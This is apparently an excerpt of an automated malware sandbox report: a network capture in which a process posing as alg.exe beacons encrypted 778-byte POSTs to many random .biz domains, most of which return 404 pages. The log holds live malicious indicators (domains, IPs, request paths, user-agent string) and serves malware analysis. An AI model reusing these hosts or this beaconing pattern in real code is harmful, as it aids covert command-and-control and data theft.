Oct 28, 2024 16:50:49.301923990 CET	349	OUT	POST /ckdrshko HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:49.302012920 CET	778	OUT	Data Raw: f7 9c 7f 54 85 53 77 51 fe 02 00 00 cd 79 53 cf 2d dc 70 88 a0 10 5a 82 2c 8a 96 c4 96 05 6f 68 bf 17 4f ec c9 29 77 34 89 00 a5 c5 61 d0 04 7b 73 8f bf 5f 81 fd f4 05 1d 27 c0 f4 eb 52 2d f9 72 aa 08 61 7c 80 6f cc ba 61 93 fc 51 95 dc 6d 11 7c Data Ascii: TSwQyS-pZ,ohO)w4a{s_'R-ra\|oaQm\|,r:w7u3fGDt 39bkdQav^V-O]8+C%?rmiVVcn:u&m\|0+.#vL^% fsx7@Qhu]qR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49966	34.246.200.160	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:50.206497908 CET	358	OUT	POST /qearwetpmwvhvwhi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tbjrpv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:50.206515074 CET	778	OUT	Data Raw: 89 e0 b3 e6 bc 9b c8 12 fe 02 00 00 19 49 12 f2 71 77 9f 88 6b f2 96 ab b2 4c fc 66 53 00 87 32 31 ea 11 d2 56 ed 33 46 88 67 65 d1 af 85 15 cf e6 db 4b 97 86 c4 56 ec 2e 27 16 ec bf dc f5 9b e3 96 9b 24 3b c9 55 02 c5 75 d6 bc dc 80 ca c4 dc 25 Data Ascii: IqwkLfS21V3FgeKV.'$;Uu%9j9tz_[Wly/fpzqdM< xeS^4P8#XQ/EzHnhS2hXSyk+97tR:S>tL07>1^aSM
Oct 28, 2024 16:50:51.183917046 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a1fad22a774aac24e80974858558745e\|155.94.241.188\|1730130651\|1730130651\|0\|1\|0; path=/; domain=.tbjrpv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49975	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:51.454699993 CET	342	OUT	POST /p HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: deoci.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:51.454727888 CET	778	OUT	Data Raw: 47 8e 96 97 35 ac c4 b1 fe 02 00 00 22 83 8c 3f 1c 41 92 26 c0 22 3a d4 23 2d 56 c1 22 27 d8 f5 f2 67 0a fe 54 7e 38 71 a0 05 66 57 13 49 0a 13 99 d6 be 46 b0 d0 8a 76 6f 3e ad f5 f4 e1 4e db 29 2b 80 6f 79 52 24 0e ea a6 6b 5a f3 08 ab c6 21 8f Data Ascii: G5"?A&":#-V"'gT~8qfWIFvo>N)+oyR$kZ!i;6ravoWv R(5ZxU>KJ5>[ic):(3bmVI--BD~%^OaujTyvw4iHKaeX;MxoW^-
Oct 28, 2024 16:50:52.157196045 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=aabddc3828a39ee7620bea5bf54b9a0b\|155.94.241.188\|1730130652\|1730130652\|0\|1\|0; path=/; domain=.deoci.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49982	208.100.26.245	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:52.413630962 CET	357	OUT	POST /pubppqcmfqvto HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:52.416934967 CET	778	OUT	Data Raw: a3 f3 44 fe 7b f5 e1 80 fe 02 00 00 55 55 ed 42 b8 f9 f8 c9 9f 60 dc 9e 7f 8b d5 5e a5 3d cf 2a 02 f3 b9 3d 96 c0 22 8f 04 8c 45 13 f4 ae 5f 07 02 d5 9b 8c 3f 16 96 b3 98 0d b2 9f 42 aa 9d 23 0d 2d e2 62 47 70 92 60 49 31 a0 90 59 35 d8 dd ac 52 Data Ascii: D{UUB`^=="E_?B#-bGp`I1Y5RsDkSx=8T!.5@pzh\|j$JK};\J+ )Iiy\T~L7-nr@#>"F@zQ)iAo*6
Oct 28, 2024 16:50:53.053874969 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:50:52 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:50:53.114195108 CET	356	OUT	POST /hrtvnxyfpkjy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:53.114228010 CET	778	OUT	Data Raw: 9b 15 f5 1c 45 20 f6 ee fe 02 00 00 67 f3 ec 29 60 87 74 15 f0 8d 67 12 b6 36 40 2e 24 10 8b 06 37 d9 59 aa e8 fe 1e f2 b2 c7 be 32 1e 0e 2d 0d 8e 60 99 59 17 77 c0 89 dc 91 9a d2 b6 f5 70 33 98 cc 16 30 f1 ea 32 98 fe 76 1e 16 11 f3 c0 97 3c 90 Data Ascii: E g)`tg6@.$7Y2-`Ywp302v<lZ]b$cYBZv3+>hrCS8mX8vsu5;Y<d\|H"Ch=a9[ysjH6CzMs;^v4bK-:<W
Oct 28, 2024 16:50:53.261414051 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:50:53 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:51:01.995723009 CET	353	OUT	POST /dovasmbpdb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:01.995769978 CET	778	OUT	Data Raw: 02 4a 39 47 fc f5 b0 bc fe 02 00 00 de 9a e9 ff f3 7a a0 49 28 5a 09 42 09 b1 25 53 22 fb 02 66 34 7d dc 6e 06 73 a9 e8 4d b5 db 2c ee 63 58 95 c4 f2 d1 83 a3 83 b7 14 51 da bf 33 cb cc 45 f4 89 40 67 14 1d fb cf 34 6d 16 3c 37 18 b6 c8 05 a1 85 Data Ascii: J9GzI(ZB%S"f4}nsM,cXQ3E@g4m<7gPw96^D`_\|UK:WTn;y\|)/7F_V`Nzr0o[ t0 v\|!T9In^r2NpA^_f:yc^cP[#y(N\5d;UX
Oct 28, 2024 16:51:02.143939018 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:51:02 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:51:02.414597988 CET	357	OUT	POST /arqypullvoovtl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:02.414647102 CET	778	OUT	Data Raw: 64 5d 32 25 ea ed 5e 4e fe 02 00 00 61 a3 2b 8f 7f ba d7 77 ee b5 0c b4 36 5c 4c c8 88 9d 38 e8 1a 8d 3b 35 68 ce a0 20 81 34 ef e2 92 f1 d9 23 37 5f db b7 9c d8 92 d1 99 b8 79 a1 1b 72 9b 73 28 ef c9 0b 29 68 fd 96 6d 29 9d 52 9d 2f 70 c7 2a fb Data Ascii: d]2%^Na+w6\L8;5h 4#7_yrs()hm)R/p*m?&]1$S`G>P=Ul>lKbt'kZ=9ETLJ=(&^E!V%g"~GB4wcJ?El:N!lal+q]
Oct 28, 2024 16:51:02.560302973 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:51:02 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:51:02.850526094 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:51:02 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:51:48.645169020 CET	358	OUT	POST /cftycvbqsjsfc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:48.645198107 CET	778	OUT	Data Raw: 2c 57 41 34 76 d1 0a 73 fe 02 00 00 1b e6 57 f9 78 8b 57 46 4b 7e 48 ce 66 d3 95 f2 28 48 13 96 02 8b e2 3b e4 b1 b9 3f 12 92 2c eb a8 81 95 29 b9 ab a0 22 7c 29 ce 25 ac 25 e4 bd da a4 9d 05 c1 b5 d2 79 23 b5 aa 3b ad 50 f6 87 e1 5e 1f 84 c9 e3 Data Ascii: ,WA4vsWxWFK~Hf(H;?,)"\|)%%y#;P^A!x\|q?KE(<xHVS+{rg>vRp<uK[xiT6o7Xu>%Q9t4ly`kWmd:#FG{mTl7::)-'o,
Oct 28, 2024 16:51:48.791265011 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:51:48 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:51:48.794641972 CET	356	OUT	POST /klbxxtxcjep HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:48.794708014 CET	778	OUT	Data Raw: 2a 26 3c c9 e8 ab b1 a4 fe 02 00 00 2e 78 30 27 ac ef d5 9c d1 05 86 9a 96 f3 b0 3b 94 e1 f2 52 01 2b 5a 1c 95 01 2e bf f4 a4 bd 20 41 39 f1 10 07 be 49 26 d2 1a 11 51 33 ac fd d8 3b e9 f5 28 3f 9f f2 08 67 dc 6f 3b 32 6b 72 e9 9b 44 5b c4 2a a7 Data Ascii: &<.x0';R+Z. A9I&Q3;(?go;2krD[,!AgRWA!4ebc&9-4JBIO\zfllz?fM{H\|kitS#/C;xJv((UDmUi*&?i4o~
Oct 28, 2024 16:51:48.940088987 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:51:48 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:51:49.229429960 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:51:48 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 